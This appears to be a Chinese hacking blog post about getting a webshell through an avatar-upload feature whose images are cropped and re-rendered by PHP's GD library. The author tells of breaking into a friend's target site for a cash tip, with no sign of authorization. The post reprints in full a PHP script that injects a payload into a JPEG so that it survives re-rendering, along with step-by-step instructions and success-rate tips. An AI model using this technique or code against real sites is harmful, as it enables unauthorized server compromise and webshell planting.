上传图片马遇到裁剪后的GETSHELL

Mr.Wu 576 2

起因

一哥们丢来一个站,IIS7.5解析漏洞,但是头像上传后解析没用,给红包让帮忙getshell。

当时吧,我以为他是小白到不知道如何 copy 图片马呢,所以跟他说能搞定。。。

尝试

经过一番摸索尝试,发现当上传完图片后,是不知道上传的图片地址的,所以必须要经过裁剪,裁剪后才能得到图片的物理路径,而经过裁剪后呢,

图片的内容被改的面目全非,这也就导致我们copy的图片马失败告终。。。

本来想的是随便在找个上传点,这种站应该上传点多。。。
结果发现等级不够,需要作者才能上传作品。。好吧,最终我们只有看这个头像上传了。。

尝试将PHP代码插入图片的不同位置,然后上传,发现还是失败,下载裁剪后的图片看了看,发现真的面目全非。。。

记得之前在坛子看到有人发过关于这方面的文章,赶紧去瞅两眼,然后用大佬的方法成功GETSHELL。

成功SHELL

注意我上图中我箭头所指,他是用了GD库对图片进行了处理,所以这里我们用大佬的方法:

  1. 上传一张正常图片,然后将上传的经过裁剪的图片在下载回本地电脑。
  2. 使用大佬给出的 payload 本地对下载下来的图片再一次进行处理。
  3. 然后直接上传在次处理后的图片,成功GETSHELL。

payload

<?php
	/*

	The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations
	caused by PHP functions imagecopyresized() and imagecopyresampled().
	It is necessary that the size and quality of the initial image are the same as those of the processed
	image.

	1) Upload an arbitrary image via secured files upload script
	2) Save the processed image and launch:
	php jpg_payload.php 

	In case of successful injection you will get a specially crafted image, which should be uploaded again.

	Since the most straightforward injection method is used, the following problems can occur:
	1) After the second processing the injected data may become partially corrupted.
	2) The jpg_payload.php script outputs "Something's wrong".
	If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another 
	initial image.

	Sergey Bobrov @Black2Fan.

	See also:
	https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

	*/

	$miniPayload = '';

	if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
    	die('php-gd is not installed');
	}
	
	if(!isset($argv[1])) {
		die('php jpg_payload.php ');
	}

	set_error_handler("custom_error_handler");

	for($pad = 0; $pad readShort() != 0xFFD8) {
			die('Incorrect SOI marker');
		}

		while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
			$marker = $dis->readByte();
			$size = $dis->readShort() - 2;
			$dis->skip($size);
			if($marker === 0xDA) {
				$startPos = $dis->seek();
				$outStreamTmp = 
					substr($outStream, 0, $startPos) . 
					$miniPayload . 
					str_repeat("\0",$nullbytePayloadSize) . 
					substr($outStream, $startPos);
				checkImage('_'.$argv[1], $outStreamTmp, TRUE);
				if($extraBytes !== 0) {
					while((!$dis->eof())) {
						if($dis->readByte() === 0xFF) {
							if($dis->readByte !== 0x00) {
								break;
							}
						}
					}
					$stopPos = $dis->seek() - 2;
					$imageStreamSize = $stopPos - $startPos;
					$outStream = 
						substr($outStream, 0, $startPos) . 
						$miniPayload . 
						substr(
							str_repeat("\0",$nullbytePayloadSize).
								substr($outStream, $startPos, $imageStreamSize),
							0,
							$nullbytePayloadSize+$imageStreamSize-$extraBytes) . 
								substr($outStream, $stopPos);
				} elseif($correctImage) {
					$outStream = $outStreamTmp;
				} else {
					break;
				}
				if(checkImage('payload_'.$argv[1], $outStream)) {
					die('Success!');
				} else {
					break;
				}
			}
		}
	}
	unlink('payload_'.$argv[1]);
	die('Something\'s wrong');

	function checkImage($filename, $data, $unlink = FALSE) {
		global $correctImage;
		file_put_contents($filename, $data);
		$correctImage = TRUE;
		imagecreatefromjpeg($filename);
		if($unlink)
			unlink($filename);
		return $correctImage;
	}

	function custom_error_handler($errno, $errstr, $errfile, $errline) {
		global $extraBytes, $correctImage;
		$correctImage = FALSE;
		if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
			if(isset($m[1])) {
				$extraBytes = (int)$m[1];
			}
		}
	}

	class DataInputStream {
		private $binData;
		private $order;
		private $size;

		public function __construct($filename, $order = false, $fromString = false) {
			$this->binData = '';
			$this->order = $order;
			if(!$fromString) {
				if(!file_exists($filename) || !is_file($filename))
					die('File not exists ['.$filename.']');
				$this->binData = file_get_contents($filename);
			} else {
				$this->binData = $filename;
			}
			$this->size = strlen($this->binData);
		}

		public function seek() {
			return ($this->size - strlen($this->binData));
		}

		public function skip($skip) {
			$this->binData = substr($this->binData, $skip);
		}

		public function readByte() {
			if($this->eof()) {
				die('End Of File');
			}
			$byte = substr($this->binData, 0, 1);
			$this->binData = substr($this->binData, 1);
			return ord($byte);
		}

		public function readShort() {
			if(strlen($this->binData) binData, 0, 2);
			$this->binData = substr($this->binData, 2);
			if($this->order) {
				$short = (ord($short[1]) << 8) + ord($short[0]);
			} else {
				$short = (ord($short[0]) <binData||(strlen($this->binData) === 0);
		}
	}
?>

将其中$miniPayload改成shell语句
tips:

1、图片找的稍微大一点 成功率更高
2、shell语句越短成功率越高
3、一张图片不行就换一张 不要死磕

参考链接

CmsEasy前台无限制GetShell

广告

打赏
发表评论 取消回复
表情 图片 链接 代码

  1. 1
    1 Lv 1

    二次渲染

  2. dd
    dd Lv 1

    碰到过好几个这样的 都放弃了

分享
微信
微博
QQ